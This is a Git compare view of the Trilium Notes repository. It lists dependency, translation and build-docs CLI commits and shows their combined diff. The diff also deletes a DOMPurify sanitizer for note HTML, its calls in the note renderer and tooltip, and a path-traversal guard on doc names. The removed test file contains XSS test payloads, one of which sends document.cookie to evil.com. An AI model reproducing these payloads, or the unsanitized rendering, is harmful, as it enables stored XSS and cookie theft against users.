Compare commits

..

17 Commits

Author SHA1 Message Date
renovate[bot]
6d9638970d fix(deps): update dependency @codemirror/view to v6.39.15 2026-02-21 01:37:27 +00:00
Elian Doran
299f694aa9 chore: disable support notice for i18next
Signed-off-by: Elian Doran <contact@eliandoran.me>
2026-02-20 23:39:55 +02:00
Elian Doran
2675698d3a feat: enhance build-docs utility with pnpm and Nix support (#8574) 2026-02-20 23:13:05 +02:00
Elian Doran
3056f3cfcf fix(deps): update dependency preact to v10.28.4 (#8772) 2026-02-20 18:32:24 +02:00
Elian Doran
e19f344dc1 Translations update from Hosted Weblate (#8777) 2026-02-20 15:17:24 +02:00
손상모
1525ecdb05 Translated using Weblate (Korean)
Currently translated at 5.8% (105 of 1808 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/ko/
2026-02-20 13:12:07 +00:00
손상모
4f6a13b2c4 Translated using Weblate (Korean)
Currently translated at 31.8% (124 of 389 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/ko/
2026-02-20 13:12:06 +00:00
Ulices
4747297adc Translated using Weblate (Spanish)
Currently translated at 100.0% (1808 of 1808 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/es/
2026-02-20 13:12:05 +00:00
Hosted Weblate
f753974800 Update translation files
Updated by "Cleanup translation files" add-on in Weblate.

Translation: Trilium Notes/README
Translate-URL: https://hosted.weblate.org/projects/trilium/readme/
2026-02-20 13:12:05 +00:00
Elian Doran
bd4002529c chore(deps): update dependency @anthropic-ai/sdk to v0.78.0 (#8773) 2026-02-20 15:11:38 +02:00
Elian Doran
00588eb099 chore(deps): update dependency electron to v40.6.0 (#8774) 2026-02-20 15:11:28 +02:00
Elian Doran
81420b6168 chore(deps): update dependency jsonc-eslint-parser to v3 (#8775) 2026-02-20 15:09:08 +02:00
renovate[bot]
fe74d2aec9 chore(deps): update dependency jsonc-eslint-parser to v3 2026-02-20 09:52:34 +00:00
renovate[bot]
6514701c6a chore(deps): update dependency electron to v40.6.0 2026-02-20 00:02:14 +00:00
renovate[bot]
9e206ce7ea chore(deps): update dependency @anthropic-ai/sdk to v0.78.0 2026-02-20 00:01:39 +00:00
renovate[bot]
b32ad68e4f fix(deps): update dependency preact to v10.28.4 2026-02-20 00:01:06 +00:00
Wael Nasreddine
07f273fda4 feat: enhance build-docs utility with pnpm and Nix support
This enhances the `build-docs` utility to allow running it via pnpm and
packaging it as a Nix application. Changes include:

- Added `build` and `cli` scripts to `apps/build-docs/package.json`.
- Implemented a standalone CLI wrapper for documentation generation.
- Added a `trilium-build-docs` package to the Nix flake for use in other projects.
- Integrated `apps/build-docs` into the Nix workspace and build pipeline.

These changes make the documentation build process more portable and easier
to integrate into CI/CD pipelines outside of the main repository.
2026-02-01 00:32:51 -08:00
87 changed files with 807 additions and 2849 deletions

View File

@@ -1,10 +1,15 @@
{
"name": "build-docs",
"version": "1.0.0",
"description": "",
"description": "Build documentation from Trilium notes",
"main": "src/main.ts",
"bin": {
"trilium-build-docs": "dist/cli.js"
},
"scripts": {
"start": "tsx ."
"start": "tsx .",
"cli": "tsx src/cli.ts",
"build": "tsx scripts/build.ts"
},
"keywords": [],
"author": "Elian Doran <contact@eliandoran.me>",
@@ -14,6 +19,7 @@
"@redocly/cli": "2.19.1",
"archiver": "7.0.1",
"fs-extra": "11.3.3",
"js-yaml": "4.1.1",
"react": "19.2.4",
"react-dom": "19.2.4",
"typedoc": "0.28.17",

View File

@@ -0,0 +1,23 @@
import BuildHelper from "../../../scripts/build-utils";
const build = new BuildHelper("apps/build-docs");
async function main() {
// Build the CLI and other TypeScript files
await build.buildBackend([
"src/cli.ts",
"src/main.ts",
"src/build-docs.ts",
"src/swagger.ts",
"src/script-api.ts",
"src/context.ts"
]);
// Copy HTML template
build.copy("src/index.html", "index.html");
// Copy node modules dependencies if needed
build.copyNodeModules([ "better-sqlite3", "bindings", "file-uri-to-path" ]);
}
main();

View File

@@ -13,8 +13,12 @@
* Make sure to keep in line with backend's `script_context.ts`.
*/
export type { default as AbstractBeccaEntity } from "../../server/src/becca/entities/abstract_becca_entity.js";
export type { default as BAttachment } from "../../server/src/becca/entities/battachment.js";
export type {
default as AbstractBeccaEntity
} from "../../server/src/becca/entities/abstract_becca_entity.js";
export type {
default as BAttachment
} from "../../server/src/becca/entities/battachment.js";
export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
@@ -31,6 +35,7 @@ export type { Api };
const fakeNote = new BNote();
/**
* The `api` global variable allows access to the backend script API, which is documented in {@link Api}.
* The `api` global variable allows access to the backend script API,
* which is documented in {@link Api}.
*/
export const api: Api = new BackendScriptApi(fakeNote, {});

View File

@@ -1,19 +1,90 @@
process.env.TRILIUM_INTEGRATION_TEST = "memory-no-store";
process.env.TRILIUM_RESOURCE_DIR = "../server/src";
// Only set TRILIUM_RESOURCE_DIR if not already set (e.g., by Nix wrapper)
if (!process.env.TRILIUM_RESOURCE_DIR) {
process.env.TRILIUM_RESOURCE_DIR = "../server/src";
}
process.env.NODE_ENV = "development";
import cls from "@triliumnext/server/src/services/cls.js";
import { dirname, join, resolve } from "path";
import archiver from "archiver";
import { execSync } from "child_process";
import { WriteStream } from "fs";
import * as fs from "fs/promises";
import * as fsExtra from "fs-extra";
import archiver from "archiver";
import { WriteStream } from "fs";
import { execSync } from "child_process";
import yaml from "js-yaml";
import { dirname, join, resolve } from "path";
import BuildContext from "./context.js";
interface NoteMapping {
rootNoteId: string;
path: string;
format: "markdown" | "html" | "share";
ignoredFiles?: string[];
exportOnly?: boolean;
}
interface Config {
baseUrl: string;
noteMappings: NoteMapping[];
}
const DOCS_ROOT = "../../../docs";
const OUTPUT_DIR = "../../site";
// Load configuration from edit-docs-config.yaml
async function loadConfig(configPath?: string): Promise<Config | null> {
const pathsToTry = configPath
? [resolve(configPath)]
: [
join(process.cwd(), "edit-docs-config.yaml"),
join(__dirname, "../../../edit-docs-config.yaml")
];
for (const path of pathsToTry) {
try {
const configContent = await fs.readFile(path, "utf-8");
const config = yaml.load(configContent) as Config;
// Resolve all paths relative to the config file's directory
const CONFIG_DIR = dirname(path);
config.noteMappings = config.noteMappings.map((mapping) => ({
...mapping,
path: resolve(CONFIG_DIR, mapping.path)
}));
return config;
} catch (error) {
if (error.code !== "ENOENT") {
throw error; // rethrow unexpected errors
}
}
}
return null; // No config file found
}
async function exportDocs(
noteId: string,
format: "markdown" | "html" | "share",
outputPath: string,
ignoredFiles?: string[]
) {
const zipFilePath = `output-${noteId}.zip`;
try {
const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
.default;
await exportToZipFile(noteId, format, zipFilePath, {});
const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
await extractZip(zipFilePath, outputPath, ignoredSet);
} finally {
if (await fsExtra.exists(zipFilePath)) {
await fsExtra.rm(zipFilePath);
}
}
}
async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
const note = await importData(sourcePath);
@@ -21,15 +92,18 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
const zipName = outputSubDir || "user-guide";
const zipFilePath = `output-${zipName}.zip`;
try {
const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
.default;
const branch = note.getParentBranches()[0];
const taskContext = new (await import("@triliumnext/server/src/services/task_context.js")).default(
"no-progress-reporting",
"export",
null
);
const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
.default(
"no-progress-reporting",
"export",
null
);
const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
await exportToZip(taskContext, branch, "share", fileOutputStream);
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
await waitForStreamToFinish(fileOutputStream);
// Output to root directory if outputSubDir is empty, otherwise to subdirectory
@@ -42,7 +116,7 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
}
}
async function buildDocsInner() {
async function buildDocsInner(config?: Config) {
const i18n = await import("@triliumnext/server/src/services/i18n.js");
await i18n.initializeTranslations();
@@ -53,18 +127,49 @@ async function buildDocsInner() {
const beccaLoader = await import("../../server/src/becca/becca_loader.js");
await beccaLoader.beccaLoaded;
// Build User Guide
console.log("Building User Guide...");
await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
if (config) {
// Config-based build (reads from edit-docs-config.yaml)
console.log("Building documentation from config file...");
// Build Developer Guide
console.log("Building Developer Guide...");
await importAndExportDocs(join(__dirname, DOCS_ROOT, "Developer Guide"), "developer-guide");
// Import all non-export-only mappings
for (const mapping of config.noteMappings) {
if (!mapping.exportOnly) {
console.log(`Importing from ${mapping.path}...`);
await importData(mapping.path);
}
}
// Copy favicon.
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "favicon.ico"));
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "user-guide", "favicon.ico"));
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
// Export all mappings
for (const mapping of config.noteMappings) {
if (mapping.exportOnly) {
console.log(`Exporting ${mapping.format} to ${mapping.path}...`);
await exportDocs(
mapping.rootNoteId,
mapping.format,
mapping.path,
mapping.ignoredFiles
);
}
}
} else {
// Legacy hardcoded build (for backward compatibility)
console.log("Building User Guide...");
await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
console.log("Building Developer Guide...");
await importAndExportDocs(
join(__dirname, DOCS_ROOT, "Developer Guide"),
"developer-guide"
);
// Copy favicon.
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
join(OUTPUT_DIR, "favicon.ico"));
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
join(OUTPUT_DIR, "user-guide", "favicon.ico"));
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
}
console.log("Documentation built successfully!");
}
@@ -91,12 +196,13 @@ async function createImportZip(path: string) {
zlib: { level: 0 }
});
console.log("Archive path is ", resolve(path))
console.log("Archive path is ", resolve(path));
archive.directory(path, "/");
const outputStream = fsExtra.createWriteStream(inputFile);
archive.pipe(outputStream);
archive.finalize();
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
await waitForStreamToFinish(outputStream);
try {
@@ -106,15 +212,15 @@ async function createImportZip(path: string) {
}
}
function waitForStreamToFinish(stream: WriteStream) {
return new Promise<void>((res, rej) => {
stream.on("finish", () => res());
stream.on("error", (err) => rej(err));
});
}
export async function extractZip(zipFilePath: string, outputPath: string, ignoredFiles?: Set<string>) {
const { readZipFile, readContent } = (await import("@triliumnext/server/src/services/import/zip.js"));
export async function extractZip(
zipFilePath: string,
outputPath: string,
ignoredFiles?: Set<string>
) {
const { readZipFile, readContent } = (await import(
"@triliumnext/server/src/services/import/zip.js"
));
await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
// We ignore directories since they can appear out of order anyway.
if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
@@ -129,6 +235,27 @@ export async function extractZip(zipFilePath: string, outputPath: string, ignore
});
}
export async function buildDocsFromConfig(configPath?: string, gitRootDir?: string) {
const config = await loadConfig(configPath);
if (gitRootDir) {
// Build the share theme if we have a gitRootDir (for Trilium project)
execSync(`pnpm run --filter share-theme build`, {
stdio: "inherit",
cwd: gitRootDir
});
}
// Trigger the actual build.
await new Promise((res, rej) => {
cls.init(() => {
buildDocsInner(config ?? undefined)
.catch(rej)
.then(res);
});
});
}
export default async function buildDocs({ gitRootDir }: BuildContext) {
// Build the share theme.
execSync(`pnpm run --filter share-theme build`, {

View File

@@ -0,0 +1,89 @@
#!/usr/bin/env node
import packageJson from "../package.json" with { type: "json" };
import { buildDocsFromConfig } from "./build-docs.js";
// Parse command-line arguments
function parseArgs() {
const args = process.argv.slice(2);
let configPath: string | undefined;
let showHelp = false;
let showVersion = false;
for (let i = 0; i < args.length; i++) {
if (args[i] === "--config" || args[i] === "-c") {
configPath = args[i + 1];
if (!configPath) {
console.error("Error: --config/-c requires a path argument");
process.exit(1);
}
i++; // Skip the next argument as it's the value
} else if (args[i] === "--help" || args[i] === "-h") {
showHelp = true;
} else if (args[i] === "--version" || args[i] === "-v") {
showVersion = true;
}
}
return { configPath, showHelp, showVersion };
}
function getVersion(): string {
return packageJson.version;
}
function printHelp() {
const version = getVersion();
console.log(`
Usage: trilium-build-docs [options]
Options:
-c, --config <path> Path to the configuration file
(default: edit-docs-config.yaml in current directory)
-h, --help Display this help message
-v, --version Display version information
Description:
Builds documentation from Trilium note structure and exports to various formats.
Configuration file should be in YAML format with the following structure:
baseUrl: "https://example.com"
noteMappings:
- rootNoteId: "noteId123"
path: "docs"
format: "markdown"
- rootNoteId: "noteId456"
path: "public/docs"
format: "share"
exportOnly: true
Version: ${version}
`);
}
function printVersion() {
const version = getVersion();
console.log(version);
}
async function main() {
const { configPath, showHelp, showVersion } = parseArgs();
if (showHelp) {
printHelp();
process.exit(0);
} else if (showVersion) {
printVersion();
process.exit(0);
}
try {
await buildDocsFromConfig(configPath);
process.exit(0);
} catch (error) {
console.error("Error building documentation:", error);
process.exit(1);
}
}
main();

View File

@@ -13,16 +13,19 @@
* Make sure to keep in line with frontend's `script_context.ts`.
*/
export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
export type { default as FAttachment } from "../../client/src/entities/fattachment.js";
export type { default as FAttribute } from "../../client/src/entities/fattribute.js";
export type { default as FBranch } from "../../client/src/entities/fbranch.js";
export type { default as FNote } from "../../client/src/entities/fnote.js";
export type { Api } from "../../client/src/services/frontend_script_api.js";
export type { default as NoteContextAwareWidget } from "../../client/src/widgets/note_context_aware_widget.js";
export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
export type {
default as NoteContextAwareWidget
} from "../../client/src/widgets/note_context_aware_widget.js";
export type { default as RightPanelWidget } from "../../client/src/widgets/right_panel_widget.js";
import FrontendScriptApi, { type Api } from "../../client/src/services/frontend_script_api.js";
//@ts-expect-error
// @ts-expect-error - FrontendScriptApi is not directly exportable as Api without this simulation.
export const api: Api = new FrontendScriptApi();

View File

@@ -1,9 +1,10 @@
import { join } from "path";
import BuildContext from "./context";
import buildSwagger from "./swagger";
import { cpSync, existsSync, mkdirSync, rmSync } from "fs";
import { join } from "path";
import buildDocs from "./build-docs";
import BuildContext from "./context";
import buildScriptApi from "./script-api";
import buildSwagger from "./swagger";
const context: BuildContext = {
gitRootDir: join(__dirname, "../../../"),

View File

@@ -1,7 +1,8 @@
import { execSync } from "child_process";
import BuildContext from "./context";
import { join } from "path";
import BuildContext from "./context";
export default function buildScriptApi({ baseDir, gitRootDir }: BuildContext) {
// Generate types
execSync(`pnpm typecheck`, { stdio: "inherit", cwd: gitRootDir });

View File

@@ -1,7 +1,8 @@
import BuildContext from "./context";
import { join } from "path";
import { execSync } from "child_process";
import { mkdirSync } from "fs";
import { join } from "path";
import BuildContext from "./context";
interface BuildInfo {
specPath: string;
@@ -27,6 +28,9 @@ export default function buildSwagger({ baseDir, gitRootDir }: BuildContext) {
const absSpecPath = join(gitRootDir, specPath);
const targetDir = join(baseDir, outDir);
mkdirSync(targetDir, { recursive: true });
execSync(`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`, { stdio: "inherit" });
execSync(
`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`,
{ stdio: "inherit" }
);
}
}

View File

@@ -1,6 +1,8 @@
{
"extends": "../../tsconfig.base.json",
"include": [],
"include": [
"scripts/**/*.ts"
],
"references": [
{
"path": "../server"

View File

@@ -4,6 +4,7 @@
"entryPoints": [
"src/backend_script_entrypoint.ts"
],
"tsconfig": "tsconfig.app.json",
"plugin": [
"typedoc-plugin-missing-exports"
]

View File

@@ -4,6 +4,7 @@
"entryPoints": [
"src/frontend_script_entrypoint.ts"
],
"tsconfig": "tsconfig.app.json",
"plugin": [
"typedoc-plugin-missing-exports"
]

View File

@@ -41,7 +41,6 @@
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.2.5",
"draggabilly": "3.0.0",
"force-graph": "1.51.1",
"globals": "17.3.0",
@@ -60,7 +59,7 @@
"mind-elixir": "5.8.3",
"normalize.css": "8.0.1",
"panzoom": "9.4.3",
"preact": "10.28.3",
"preact": "10.28.4",
"react-i18next": "16.5.4",
"react-window": "2.2.7",
"reveal.js": "5.2.1",

View File

@@ -5,7 +5,6 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -15,7 +14,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
$renderedContent.append($('<div class="ck-content">').html(blob.content));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -9,15 +9,6 @@ export default function renderDoc(note: FNote) {
const $content = $("<div>");
if (docName) {
// Sanitize docName to prevent path traversal attacks (e.g.,
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
docName = sanitizeDocName(docName);
if (!docName) {
console.warn("Blocked potentially malicious docName attribute value.");
resolve($content);
return;
}
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, async (response, status) => {
@@ -57,31 +48,6 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}
function sanitizeDocName(docNameValue: string): string | null {
// Strip any path traversal sequences and dangerous URL characters.
// Legitimate docName values are simple paths like "User Guide/Topic" or
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
// hyphens, spaces, and forward slashes for subdirectories.
// Reject values containing path traversal (../, ..\) or URL control
// characters (?, #, :, @) that could be used to escape the doc_notes
// directory or manipulate the resulting URL.
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
return null;
}
// Remove any leading slashes to prevent absolute path construction.
docNameValue = docNameValue.replace(/^\/+/, "");
// After stripping, ensure only safe characters remain:
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
// (periods are allowed for filenames but .. was already rejected above).
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
return docNameValue;
}
function getUrl(docNameValue: string, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");

View File

@@ -24,7 +24,8 @@ export async function initLocale() {
backend: {
loadPath: `${window.glob.assetPath}/translations/{{lng}}/{{ns}}.json`
},
returnEmptyString: false
returnEmptyString: false,
showSupportNotice: false
});
await setDayjsLocale(locale);

View File

@@ -7,7 +7,6 @@ import contentRenderer from "./content_renderer.js";
import appContext from "../components/app_context.js";
import type FNote from "../entities/fnote.js";
import { t } from "./i18n.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
// Track all elements that open tooltips
let openTooltipElements: JQuery<HTMLElement>[] = [];
@@ -91,8 +90,7 @@ async function mouseEnterHandler(this: HTMLElement) {
return;
}
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
// we need to check if we're still hovering over the element
@@ -110,8 +108,6 @@ async function mouseEnterHandler(this: HTMLElement) {
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -1,236 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -1,161 +0,0 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
